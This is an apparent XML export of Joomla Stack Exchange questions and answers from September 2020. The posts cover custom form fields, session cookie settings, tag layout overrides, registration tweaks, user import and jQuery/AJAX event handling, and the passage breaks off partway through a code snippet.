  <row Id="28442" PostTypeId="2" ParentId="28441" CreationDate="2020-09-11T11:44:46.533" Score="1" Body="&lt;p&gt;So this is what I ended up doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$value = Factory::getApplication()-&amp;gt;input-&amp;gt;getInt('category');&#xA;$bookform = Form::getInstance('com_books.book', 'book');&#xA;&#xA;$field = $bookform -&amp;gt;getField('category', 'specs');&#xA;$field-&amp;gt;__set('group', null);&#xA;$field-&amp;gt;__set('name', 'category');&#xA;$field-&amp;gt;__set('class', 'customclass');&#xA;$field-&amp;gt;setValue($value);&#xA;&#xA;echo $field-&amp;gt;renderField(array('customoption1' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Would be nice to find a more lean solution if possible.&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2020-09-11T11:44:46.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28443" PostTypeId="2" ParentId="18257" CreationDate="2020-09-11T12:30:01.130" Score="0" Body="&lt;p&gt;This its the same answer from @Piero Marsilio, but with visual tutorial.&lt;/p&gt;&#xA;&lt;p&gt;4 - Check if &amp;quot;Guest User Groupr&amp;quot; is set to &amp;quot;Guest&amp;quot;.&#xA;Thanks Pierro!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m8ftO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m8ftO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2020-09-11T12:30:01.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28444" PostTypeId="2" ParentId="26804" CreationDate="2020-09-11T14:52:19.083" Score="3" Body="&lt;p&gt;PHPSESSID is a server generated session cookie. If your server is on PHP7.3+ you can set samesite and secure parameters for it in php.ini&lt;/p&gt;&#xA;&lt;p&gt;Along the lines of:&lt;/p&gt;&#xA;&lt;p&gt;session.cookie_secure=On&lt;/p&gt;&#xA;&lt;p&gt;session.cookie_samesite=&amp;quot;Lax&amp;quot; (or &amp;quot;None&amp;quot; or &amp;quot;Strict&amp;quot;)&lt;/p&gt;&#xA;&lt;p&gt;As for the topic question, yes, once it becomes a requirement, all cookies will need changing, be it Joomla (including extensions if they use cookies) or not. As far as I can see they've already addressed it for J4 a while back.&#xA;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/25414&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/25414&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14517" LastActivityDate="2020-09-11T14:52:19.083" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28445" PostTypeId="1" CreationDate="2020-09-11T15:26:03.413" Score="0" ViewCount="109" Body="&lt;p&gt;I am getting data in the following format through post request.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I want to send this 'data:image/png;base64' value as an image(jpg/png) to email as email attachment.&lt;/p&gt;&#xA;&lt;p&gt;I am using &lt;code&gt;JFactory::getMailer();&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Can you guide me on how I can do it?&lt;/p&gt;&#xA;" OwnerUserId="14518" LastEditorUserId="12352" LastEditDate="2020-09-11T15:30:45.623" LastActivityDate="2020-09-11T15:30:45.623" Title="How to add base64 string to email as an attachment in Joomla?" Tags="|joomla-3.x|custom-module|emails|email-template|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28446" PostTypeId="1" CreationDate="2020-09-11T21:33:17.460" Score="1" ViewCount="241" Body="&lt;p&gt;I want to keep the registration process as simple as possible for my users, like a lot of modern websites do. I want there to be only 3 fields to fill out when creating new accounts: Email, Password, Repeat password.&lt;/p&gt;&#xA;&lt;p&gt;It seems to me there is no option to remove the mandatory username field from the registration form though, is there any workaround?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2023-12-17T00:43:08.647" Title="Remove username from registration" Tags="|registration|user-registration|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28447" PostTypeId="1" CreationDate="2020-09-12T03:58:31.377" Score="2" ViewCount="60" Body="&lt;p&gt;I need to batch create lots of users and I have their emails and some profile details like phone number and address. This data is in a google sheet.  I just need to generate usernames and set initial passwords for them before sending login credentials to their email. Security is not a concern. How can I do this programmatically?&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can I use phpmyadmin to directly insert rows into the &lt;code&gt;#__users&lt;/code&gt; and the &lt;code&gt;#__user_usergroup_map&lt;/code&gt; tables? The password in the table is hashed, I have no idea how hard it would be to hash a password string and insert it into the table. Besides, what should I do with the &lt;code&gt;id&lt;/code&gt; column? Can I just find the largest id number and then simply &lt;code&gt;++&lt;/code&gt; for each user to be imported?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does Joomla have a class or function that offers this simple utility like &lt;code&gt;JUser::addNewUser($username, $password, $email)&lt;/code&gt; so that I can just write some simple code to retrieve data from google sheet and feed it into a helper function like above?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="12352" LastEditDate="2020-09-12T04:53:46.413" LastActivityDate="2020-09-12T04:53:46.413" Title="writing my own code to import users" Tags="|user|database|batch|user-registration|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28448" PostTypeId="1" AcceptedAnswerId="28627" CreationDate="2020-07-27T15:43:45.420" Score="3" ViewCount="296" Body="&lt;p&gt;In Joomla 3.9.20, I created a custom front end template.&#xA;Inside I have the &lt;code&gt;language&lt;/code&gt; folder with various languages in this format.&lt;/p&gt;&#xA;&lt;p&gt;For German (example):&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/templates/mytemplate/de-DE/de-DE.tpl_mytemplate.ini&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;They all work, however for English the strings are not read&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/templates/mytemplate/en-GB/en-GB.tpl_mytemplate.ini&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have to put my custom strings inside the &lt;code&gt;language&lt;/code&gt; site root folder to make it work. My default language is &lt;code&gt;it-IT&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is this a bug?&lt;/p&gt;&#xA;&lt;p&gt;To make things weirder, while using only the language folder inside mytemplate, if I remove a string for another language it defaults back to my custom English strings! So basically it works indirectly when using another language with missing definitions but not directly when in English.&lt;/p&gt;&#xA;" OwnerUserId="13799" OwnerDisplayName="Sandro Antonucci" LastEditorUserId="12352" LastEditDate="2020-09-12T05:32:55.747" LastActivityDate="2020-11-03T10:57:22.443" Title="Joomla 3.9 not reading language override strings for English only" Tags="|joomla-3.x|templates|language|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28449" PostTypeId="1" CreationDate="2020-08-04T20:13:20.353" Score="1" ViewCount="257" Body="&lt;p&gt;I have a Joomla site and I would like to hide the category pages. Google is indexing some of them with a number before.&lt;/p&gt;&#xA;&lt;p&gt;For example, I have a product category and the &lt;code&gt;mydomain.com/2-products&lt;/code&gt; page is being indexed.&lt;/p&gt;&#xA;&lt;p&gt;On the page, Joomla is nesting all of the articles in that category.&lt;/p&gt;&#xA;" OwnerDisplayName="Lucas Teles" LastEditorUserId="12352" LastEditDate="2020-09-12T05:35:36.677" LastActivityDate="2021-06-10T12:23:48.633" Title="How to disable all category pages?" Tags="|articles|category|googlebots|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28450" PostTypeId="2" ParentId="28449" CreationDate="2020-08-19T11:02:01.500" Score="0" Body="&lt;p&gt;As I understand there is category page where your articles are indexed as category wise. If you have created a menu for category then you can disable that then it will be closed.&lt;/p&gt;&#xA;" OwnerUserId="17272" OwnerDisplayName="user2633121" LastActivityDate="2020-09-11T13:56:41.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28453" PostTypeId="1" CreationDate="2020-09-12T14:35:06.717" Score="1" ViewCount="26" Body="&lt;p&gt;I have a problem with the &lt;a href=&quot;https://extensions.joomla.org/extension/color-swatch-for-virtuemart/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtuemart Color Swatch plugin&lt;/a&gt; for Joomla 3.&#xA;When I add thumbnails to the product, in the admin panel, I get this error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: mkdir(): No such file or directory in &lt;code&gt;/var/www/sitefolder/public_html/domain.com/plugins/vmcustom/color_swatch/color_swatch.php&lt;/code&gt; on line 66&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Here's the code from line 66:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$thumb_folder = $folder;&#xA;if (!is_dir(JPATH_SITE .'/'. $thumb_folder)) {&#xA;    mkdir(JPATH_SITE .'/'. $thumb_folder, 0777);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This custom field appears on the site, but without a photo (in the admin panel thumbnails are loaded).&lt;/p&gt;&#xA;&lt;p&gt;I think this problem appears because the path to the thumbnails on line 66 is wrong.  The path to thumbnails is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/images/stories/virtuemart/color_swatch/images/[here are the generated folders]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also, if I give attribute &lt;code&gt;TRUE&lt;/code&gt; after &lt;code&gt;0777&lt;/code&gt;, the error disappear, but another error appears with &amp;quot;no rights&amp;quot; to directory.&lt;/p&gt;&#xA;" OwnerUserId="14521" LastEditorUserId="12352" LastEditDate="2020-09-12T21:50:44.430" LastActivityDate="2020-09-12T21:50:44.430" Title="Joomla mkdir() error" Tags="|joomla-3.x|plugin|virtuemart|images|file-permissions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28454" PostTypeId="1" CreationDate="2020-09-13T05:26:06.617" Score="1" ViewCount="107" Body="&lt;p&gt;I'm replacing an old laptop and trying to get a Joomla 3.9.21 test site runing on the new computer. Since I've done this in the past, decided to do so manually instead of using XAMPP.&lt;/p&gt;&#xA;&lt;p&gt;Running on Windows 10, all Apache, php, mysql and phpmyadmin are working correctly. I can access localhost files and been able to handle the database.&lt;/p&gt;&#xA;&lt;p&gt;When I run localhost/mysite/installation I can go through all the steps up to the point to click the INSTALL button.&lt;/p&gt;&#xA;&lt;p&gt;The installer actually writes on the database 14 tables and suddenly it stalls. The installation progress bar stops. If I access the site in a new tab at this time, the installation page comes up again. Is there a way to show the installation steps taking place to find out where is the problem to find it's solution ?&lt;/p&gt;&#xA;&lt;p&gt;I presume it could / should be a config error either in Apache, PHP or MySql.&lt;/p&gt;&#xA;&lt;p&gt;I've already done the following:&lt;/p&gt;&#xA;&lt;p&gt;Apache httpd.conf&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ServerName localhost&#xA;PHPIniDir &amp;quot;c:\php&amp;quot;&#xA;LoadModule php7_module &amp;quot;c:\php\php7apache2_4.dll&amp;quot;&#xA;AddHandler application x-httpd-php .php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;php.ini&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;uncommented extensions for curl, mbstring and mysqli&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14523" LastActivityDate="2020-09-18T01:19:02.897" Title="Joomla 3.9 Installation stalled" Tags="|installation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28455" PostTypeId="1" AcceptedAnswerId="28456" CreationDate="2020-09-13T09:15:47.330" Score="2" ViewCount="362" Body="&lt;p&gt;When you click on a tag inside an article you go to com-tags view-tag, that is created by&#xA;com_tags/views/tag/tmpl/default_items.&#xA;This is a blog with articles with the same tag.&#xA;I want there, inside every article to display also the tags.&#xA;I have created an override for this view:&#xA;../html/com_tags/tag/tag_items.php&#xA;and added there this code (took it from /components/com_content/views/article/tmpl/default.php)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $this-&amp;gt;item-&amp;gt;tagLayout = new JLayoutFile('joomla.content.tags'); ?&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;tagLayout-&amp;gt;render($this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;According to Joomla &amp;quot;Sharing layouts across views or extensions with JLayout&amp;quot; &lt;a href=&quot;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; I should have my tags there, but obviously I have somewhere an issue as I am receiving an error on the front end.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to a member function render() on null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The code is (I can not manage to show it well, but it is the original Joomla /components/com_tags/views/tag/tmpl/default_items.php):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;authorise('core.edit', 'com_tags');&#xA;$canCreate    = $user-&gt;authorise('core.create', 'com_tags');&#xA;$canEditState = $user-&gt;authorise('core.edit.state', 'com_tags');&#xA;&#xA;JFactory::getDocument()-&gt;addScriptDeclaration(&quot;&#xA;        var resetFilter = function() {&#xA;        document.getElementById('filter-search').value = '';&#xA;    }&#xA;&quot;);&#xA;&#xA;?&gt;&#xA;toString()); ?&gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; class=&quot;form-inline&quot;&gt;&#xA;    params-&gt;get('show_headings') || $this-&gt;params-&gt;get('filter_field') || $this-&gt;params-&gt;get('show_pagination_limit')) : ?&gt;&#xA;        &#xA;            params-&gt;get('filter_field')) : ?&gt;&#xA;                &#xA;                    &#xA;                        &#xA;                    &#xA;                    escape($this-&gt;state-&gt;get('list.filter')); ?&gt;&quot; class=&quot;inputbox&quot; onchange=&quot;document.adminForm.submit();&quot; title=&quot;&quot; placeholder=&quot;&quot; /&gt;&#xA;                    &quot; onclick=&quot;document.adminForm.submit();&quot; class=&quot;btn&quot;&gt;&#xA;                        &#xA;                    &#xA;                    &quot; class=&quot;btn&quot; onclick=&quot;resetFilter(); document.adminForm.submit();&quot;&gt;&#xA;                        &#xA;                    &#xA;                &#xA;            &#xA;            params-&gt;get('show_pagination_limit')) : ?&gt;&#xA;                &#xA;                    &#xA;                        &#xA;                    &#xA;                    pagination-&gt;getLimitBox(); ?&gt;&#xA;                &#xA;            &#xA;            &#xA;            &#xA;            &#xA;            &#xA;            &#xA;        &#xA;    &#xA;    items)) : ?&gt;&#xA;        &lt;p&gt;&lt;/p&gt;&#xA;    &#xA;        &#xA;            items as $i =&gt; $item) : ?&gt;&#xA;                core_state == 0) : ?&gt;&#xA;                    &quot;&gt;&#xA;                &#xA;                     clearfix&quot;&gt;&#xA;                &#xA;                type_alias === 'com_users.category') || ($item-&gt;type_alias === 'com_banners.category')) : ?&gt;&#xA;                    &lt;h3&gt;&#xA;                        escape($item-&gt;core_title); ?&gt;&#xA;                    &lt;/h3&gt;&#xA;                &#xA;                    &lt;h3&gt;&#xA;                        link); ?&gt;&quot;&gt;&#xA;                            escape($item-&gt;core_title); ?&gt;&#xA;                        &#xA;                    &lt;/h3&gt;&#xA;                &#xA;                &#xA;                event-&gt;afterDisplayTitle; ?&gt;&#xA;                core_images); ?&gt;&#xA;                params-&gt;get('tag_list_show_item_image', 1) == 1 &amp;&amp; !empty($images-&gt;image_intro)) : ?&gt;&#xA;                    link); ?&gt;&quot;&gt;&#xA;                        image_intro); ?&gt;&quot; alt=&quot;image_intro_alt); ?&gt;&quot;&gt;&#xA;                    &#xA;                &#xA;                params-&gt;get('tag_list_show_item_description', 1)) : ?&gt;&#xA;                    &#xA;                    event-&gt;beforeDisplayContent; ?&gt;&#xA;                    &#xA;                        core_body, $this-&gt;params-&gt;get('tag_list_item_maximum_characters')); ?&gt;&#xA;                    &#xA;                    &#xA;                    event-&gt;afterDisplayContent; ?&gt;&#xA;                &#xA;                &lt;/li&gt;&#xA;            &#xA;        &#xA;    &#xA;&lt;/pre&gt;&lt;/code&gt;&#xA;" OwnerUserId="2199" LastEditorUserId="2199" LastEditDate="2020-09-14T09:23:05.397" LastActivityDate="2020-09-14T18:49:15.027" Title="Display articles Tags in Tag View" Tags="|template-override|tags|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="28456" PostTypeId="2" ParentId="28455" CreationDate="2020-09-13T21:41:15.703" Score="2" Body="&lt;p&gt;The problem is that you haven't captured the tags associated with the article. The tags aren't held in the same table as the article data, so they need special code in order to be included. If you look in the /components/com_content/views/article/view.html.php file you'll see&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$item-&amp;gt;tags = new JHelperTags;&#xA;$item-&amp;gt;tags-&amp;gt;getItemTags('com_content.article', $item-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This sets up the itemTags property in the JHelperTags object, and so can be referenced by &lt;code&gt;$item-&amp;gt;tags-&amp;gt;itemTags&lt;/code&gt;. This is what you'll have to do in your layout file.&lt;/p&gt;&#xA;&lt;p&gt;Also in the tags default_items.php file &lt;code&gt;$this&lt;/code&gt; doesn't refer to the same thing as the &lt;code&gt;$this&lt;/code&gt; in the com_content default.php file. In the tags layout file each item is referenced using &lt;code&gt;$item&lt;/code&gt; so you'll have to use it instead of &lt;code&gt;$this-&amp;gt;item&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So for example in the default_items.php override you can put just under the line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the following code to output the other tags of articles:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    if ($item-&amp;gt;type_alias === 'com_content.article')&#xA;    {&#xA;        $item-&amp;gt;tags = new JHelperTags;&#xA;        $item-&amp;gt;tags-&amp;gt;getItemTags('com_content.article', $item-&amp;gt;id);&#xA;        $item-&amp;gt;tagLayout = new JLayoutFile('joomla.content.tags'); &#xA;        echo $item-&amp;gt;tagLayout-&amp;gt;render($item-&amp;gt;tags-&amp;gt;itemTags); &#xA;    }&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-09-14T18:49:15.027" LastActivityDate="2020-09-14T18:49:15.027" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28457" PostTypeId="1" CreationDate="2020-09-14T20:28:41.327" Score="0" ViewCount="27" Body="&lt;p&gt;I have a site set up that allows the user to login to a secure area.  Everything works.&lt;/p&gt;&#xA;&lt;p&gt;I'm having a problem with the email address.  The user registers with an email address which works fine.  However they can then edit their profile which offers them the chance to edit their email address.&lt;/p&gt;&#xA;&lt;p&gt;They can change and save the email in the profile.  But when I look in the admin area the user email remains the registered email address and I can't find where the new email address (created in the profile) is stored.  It is obviously stored somewhere because when I log out and log back in and goto /login/profile the email address is the new one.&lt;/p&gt;&#xA;&lt;p&gt;Can someone tell me what's happening.&lt;/p&gt;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&lt;p&gt;So I've looked into this and it seems to be an microsoft edge issue.   Firefox and brave seem okay.&lt;/p&gt;&#xA;&lt;p&gt;I can replicate it on Edge every time and it works fine everywhere else.  So I think the comment about some sort of cache issue is probably right but I haven't quite found it yet.  Seems a bit mad that I can't switch off the editing profile capability - it'd be simple enough to write my own&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2020-09-15T09:01:00.283" LastActivityDate="2021-06-12T21:59:11.153" Title="User profile control whether user can adjust their email address" Tags="|joomla-3.x|user|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28459" PostTypeId="1" AcceptedAnswerId="28462" CreationDate="2020-09-14T21:06:15.037" Score="1" ViewCount="49" Body="&lt;p&gt;I am struggling since a few days with following problem. Using Joomla 3.9.2x and query 3.5.1. I am trying to display a modal &amp;quot;window&amp;quot; when an item is selected in a Joomla filelist field. I tried a few triggers like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){ &#xA;    jQuery(&amp;quot;#jform_myfile_chzn&amp;quot;).click(function(){&#xA;        UIkit.modal('#displayimage').show();&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After loading the page and the file is selected, it works. Obviously with &amp;quot;click&amp;quot;, it shows &amp;quot;#displayimage&amp;quot; each time it is clicked and not only when the file is selected.&lt;/p&gt;&#xA;&lt;p&gt;I tried a few others like &amp;quot;change&amp;quot;, but I can't make it work.&lt;/p&gt;&#xA;" OwnerUserId="14525" LastEditorUserId="12352" LastEditDate="2020-09-15T02:42:08.047" LastActivityDate="2020-09-15T07:02:21.637" Title="Joomla trigger event when element in field of “filelist” type is selected" Tags="|joomla-3.x|javascript|jquery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28460" PostTypeId="2" ParentId="28446" CreationDate="2020-09-14T21:08:35.177" Score="0" Body="&lt;p&gt;I went through the trouble to do this once, and learned that it wasn't worth it.  Not that it was too hard - I did it, but it required constant maintenance.&lt;/p&gt;&#xA;&lt;p&gt;First, when a user registers, you must alter the login form to remove the username field, and when the registration form is submitted, you must INSERT a username, which where it starts getting difficult.  The way I did it, was to give it a temporary name and then change the name when the user ID is known.&lt;/p&gt;&#xA;&lt;p&gt;Then you must override the output of your login modules, the output of the reset password form, the login view of the component, the user account default and edit views....&lt;/p&gt;&#xA;&lt;p&gt;And when Joomla releases an update that changes any of these things - you get to rewrite the overrides.&lt;/p&gt;&#xA;&lt;p&gt;Maybe instead, you might consider giving them a &amp;quot;generate username&amp;quot; option....make it fun, or base it on their name, or whatever.&lt;/p&gt;&#xA;&lt;p&gt;It isn't worth it.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2020-09-14T21:08:35.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28461" PostTypeId="2" ParentId="28400" CreationDate="2020-09-15T01:14:31.600" Score="1" Body="&lt;p&gt;With the contribution of @mrentropy from the page &lt;a href=&quot;https://stackoverflow.com/a/48098097/1390452&quot;&gt;https://stackoverflow.com/a/48098097/1390452&lt;/a&gt;, I wrote this code to resolve the messages:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.event.special.mousewheel = {&#xA;  setup: function( _, ns, handle ){&#xA;    if ( ns.includes(&amp;quot;noPreventDefault&amp;quot;) ) {&#xA;      this.addEventListener(&amp;quot;mousewheel&amp;quot;, handle, { passive: false });&#xA;    } else {&#xA;      this.addEventListener(&amp;quot;mousewheel&amp;quot;, handle, { passive: true });&#xA;    }&#xA;  }&#xA;};&#xA;jQuery.event.special.touchstart = {&#xA;  setup: function( _, ns, handle ){&#xA;    if ( ns.includes(&amp;quot;noPreventDefault&amp;quot;) ) {&#xA;      this.addEventListener(&amp;quot;touchstart&amp;quot;, handle, { passive: false });&#xA;    } else {&#xA;      this.addEventListener(&amp;quot;touchstart&amp;quot;, handle, { passive: true });&#xA;    }&#xA;  }&#xA;};&#xA;jQuery.event.special.touchmove = {&#xA;  setup: function( _, ns, handle ){&#xA;    if ( ns.includes(&amp;quot;noPreventDefault&amp;quot;) ) {&#xA;      this.addEventListener(&amp;quot;touchmove&amp;quot;, handle, { passive: false });&#xA;    } else {&#xA;      this.addEventListener(&amp;quot;touchmove&amp;quot;, handle, { passive: true });&#xA;    }&#xA;  }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The three events need to be rewritten as above, when using the code &lt;code&gt;JHtml::_('formbehavior.chosen', 'select');&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12952" LastActivityDate="2020-09-15T01:14:31.600" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28462" PostTypeId="2" ParentId="28459" CreationDate="2020-09-15T07:02:21.637" Score="2" Body="&lt;p&gt;Put the event listener on the underlying hidden select field not on the chozen ui element.  The id of the select will be the same id without the _chzn suffix.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){ &#xA;    jQuery(&amp;quot;#jform_myfile&amp;quot;).change(function(){&#xA;        UIkit.modal('#displayimage').show();&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2020-09-15T07:02:21.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28463" PostTypeId="2" ParentId="21255" CreationDate="2020-09-15T07:42:50.820" Score="1" Body="&lt;p&gt;I know this is an old issue, but as the problem still exists...&lt;/p&gt;&#xA;&lt;p&gt;The only solution that I have found is &lt;a href=&quot;https://extensions.joomla.org/extension/advanced-custom-fields/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced Custom Fields Pro&lt;/a&gt; developed by Tassos Marinos.&lt;/p&gt;&#xA;&lt;p&gt;It is a collection of pre-made custom fields that allows you to drag-n-drop any type of file.&lt;/p&gt;&#xA;" OwnerUserId="7295" LastEditorUserId="12352" LastEditDate="2020-09-15T08:17:26.417" LastActivityDate="2020-09-15T08:17:26.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28464" PostTypeId="2" ParentId="3894" CreationDate="2020-09-15T09:35:29.227" Score="0" Body="&lt;p&gt;JoomlaShack has an extension:&#xA;&lt;a href=&quot;https://extensions.joomla.org/extension/shack-article-manager/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/shack-article-manager/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14268" LastActivityDate="2020-09-15T09:35:29.227" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28465" PostTypeId="2" ParentId="28431" CreationDate="2020-09-15T09:44:19.930" Score="0" Body="&lt;p&gt;This extension offers workflow in wait for Joomla 4:&#xA;&lt;a href=&quot;https://extensions.joomla.org/extension/swjprojects/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/swjprojects/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14268" LastActivityDate="2020-09-15T09:44:19.930" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28466" PostTypeId="1" AcceptedAnswerId="28467" CreationDate="2020-09-15T10:09:57.730" Score="1" ViewCount="224" Body="&lt;p&gt;I want to access the currently logged in user in my Helper function using AJAX.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function editUser(){&#xA;    runAjax('editUser',&amp;quot;one&amp;quot;);&#xA;}&#xA;function runAjax(type,regHtml){&#xA;    request = {&#xA;        'option' : 'com_ajax',&#xA;        'module' : 'user_login',&#xA;        'cmd'    : type,&#xA;        'params' : params,&#xA;        'format' : 'json'&#xA;    };&#xA;&#xA;    jQuery.ajax({&#xA;        type   : 'POST',&#xA;        data   : request,&#xA;        success: function (response) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The editUser function is set off via a onmousedown button.&lt;/p&gt;&#xA;&lt;p&gt;This all works fine and calls the helper function.  The issue is on the helper side.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function getAjax()&#xA;{&#xA;&#xA;    function setUpForm(){&#xA;&#xA;        $user = JFactory::getUser();&#xA;&#xA;        echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&#xA;        print_r($user);&#xA;        echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;&#xA;    }&#xA;&#xA;&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $params  = $input-&amp;gt;get('params',&amp;quot;&amp;quot;,raw);&#xA;&#xA;     $cmd  = $input-&amp;gt;get('cmd');&#xA;&#xA;&#xA;    if($cmd == &amp;quot;editUser&amp;quot;){&#xA;        setUpForm();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works but isn't the recommended way of getting the user object.  It's:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$user = Factory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the switch to use cases but this won't work with AJAX because the use won't work out of context I'd need to do something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('JPATH_BASE', realpath(dirname(__FILE__) . 